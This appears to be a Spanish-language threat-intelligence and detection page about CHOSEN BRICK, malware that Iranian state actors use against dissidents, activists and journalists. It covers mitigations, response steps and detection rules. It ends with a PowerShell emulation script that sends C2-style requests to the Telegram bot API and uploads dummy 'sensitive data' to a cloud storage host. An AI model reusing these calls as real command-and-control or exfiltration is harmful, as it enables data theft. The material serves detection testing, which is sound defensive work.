Ciberataques iraníes contra disidentes, activistas y periodistas
Detection stack
- AIDR
- Alert
- ETL
- Query
Resumen
Actores patrocinados por el estado iraní están utilizando el malware CHOSEN BRICK para atacar a disidentes, activistas y periodistas en todo el mundo. El malware se entrega a través de ingeniería social en plataformas como WhatsApp y Telegram, a menudo disfrazado como aplicaciones o archivos legítimos. Una vez instalado, CHOSEN BRICK permite el robo de datos, la grabación de micrófono y el borrado del sistema a través de un comando y control basado en Telegram.
Investigación
La investigación identificó un patrón recurrente de ingeniería social seguido del despliegue de CHOSEN BRICK en sistemas Windows. Los analistas observaron que el malware utilizaba bots de Telegram para comunicaciones C2 y servicios de almacenamiento en la nube para la exfiltración de datos. La persistencia se establece a través de claves específicas del registro Run, mientras que se agregan exclusiones de Microsoft Defender para ayudar a evadir los controles de seguridad.
Mitigación
Las mitigaciones recomendadas incluyen mejorar la conciencia del usuario sobre las técnicas de ingeniería social y evitar el software entregado a través de archivos adjuntos no solicitados. Las organizaciones también deben aplicar MFA resistente al phishing, implementar listas blancas de aplicaciones y mantener actualizado el software antivirus. Monitorizar conexiones sospechosas a Telegram y proveedores de almacenamiento en la nube conocidos puede fortalecer aún más la detección.
Respuesta
Si se detecta actividad de CHOSEN BRICK, las organizaciones deben trabajar con sus proveedores de TI para revisar los registros de endpoints en busca de claves de registro y rutas de archivos asociadas. Deben examinarse tanto los dispositivos corporativos como personales utilizados por individuos de alto riesgo. Los equipos de seguridad también deben buscar dominios, nombres de archivos y otros indicadores técnicos asociados con la campaña.
Flujo de ataque
Todavía estamos actualizando esta parte.
Detecciones
Puntos de persistencia posibles [ASEPs – Software/NTUSER Hive] (vía registry_event)
Posible abuso de Telegram como canal de comando y control (vía dns_query)
Uso de CHOSEN BRICK de Telegram y VultrObjects para comunicaciones maliciosas [Conexión de red de Windows]
Detección de persistencia de CHOSEN BRICK a través de la clave Run del registro [Evento del registro de Windows]
Ejecución de simulación
-
Narrativa del ataque y comandos: El adversario busca establecer comando y control (C2) y exfiltrar datos sensibles. Para evadir el antivirus tradicional basado en firmas, utilizan servicios web legítimos. Primero, el atacante ejecuta un comando para «registrarse» con su servidor C2 a través de la API de Telegram (
api.telegram.org). Después de esto, el atacante simula la exfiltración de un archivo sensible cargándolo en un bucket de almacenamiento alojado envultrobjects.com. Estas acciones se realizan a través de solicitudes web estándar para mezclarse con el tráfico web cifrado legítimo, con la esperanza de evitar la inspección y solo ser detectados si se conocen IoCs específicos. -
Script de prueba de regresión:
# Script de simulación: Emulación de TTP de CHOSEN BRICK # Este script simula C2 a través de Telegram y exfiltración a través de VultrObjects $C2_Domain = "api.telegram.org" $Exfil_Domain = "vultrobjects.com" Write-Host "[+] Iniciando simulación: Emulando TTP de CHOSEN BRICK..." -ForegroundColor Cyan # 1. Simular registro de C2 (API de Telegram) Write-Host "[*] Paso 1: Simulando registro de C2 a $C2_Domain" -ForegroundColor Yellow try { $c2_response = Invoke-WebRequest -Uri "https://$C2_Domain/bot123456:ABC-DEF/getUpdates" -Method Get -ErrorAction SilentlyContinue Write-Host "[+] Solicitud de C2 enviada." -ForegroundColor Green } catch { Write-Host "[!] Nota: Conexión fallida (esperado si no hay internet/proxy), pero aún debe generarse la telemetría." -ForegroundColor Gray } # 2. Simular exfiltración de datos (VultrObjects) Write-Host "[*] Paso 2: Simulando exfiltración de datos a $Exfil_Domain" -ForegroundColor Yellow $dummy_data = "Esta es información altamente sensible que se está exfiltrando." $dummy_file = "$env:TEMPsensitive_data.txt" $dummy_data | Out-File -FilePath $dummy_file try { # Simulando una solicitud PUT a un endpoint de almacenamiento en la nube Invoke-RestMethod -Uri "https://$Exfil_Domain/exfil/data_dump.txt" -Method Put -Body $dummy_data -ContentType "text/plain" -ErrorAction SilentlyContinue Write-Host "[+] Solicitud de exfiltración enviada." -ForegroundColor Green } catch { Write-Host "[!] Nota: Conexión fallida (esperado si no hay internet/proxy), pero aún debe generarse la telemetría." -ForegroundColor Gray } Write-Host "[+] Simulación completa. Verificar SIEM para logs de proxy que involucren $C2_Domain y $Exfil_Domain." -ForegroundColor Cyan -
Comandos de limpieza:
# Script de limpieza $dummy_file = "$env:TEMPsensitive_data.txt" if (Test-Path $dummy_file) { Remove-Item -Path $dummy_file -Force Write-Host "[+] Limpieza: Se eliminó el archivo de exfiltración de prueba." -ForegroundColor Green } else { Write-Host "[!] Limpieza: Archivo de prueba no encontrado." -ForegroundColor Yellow }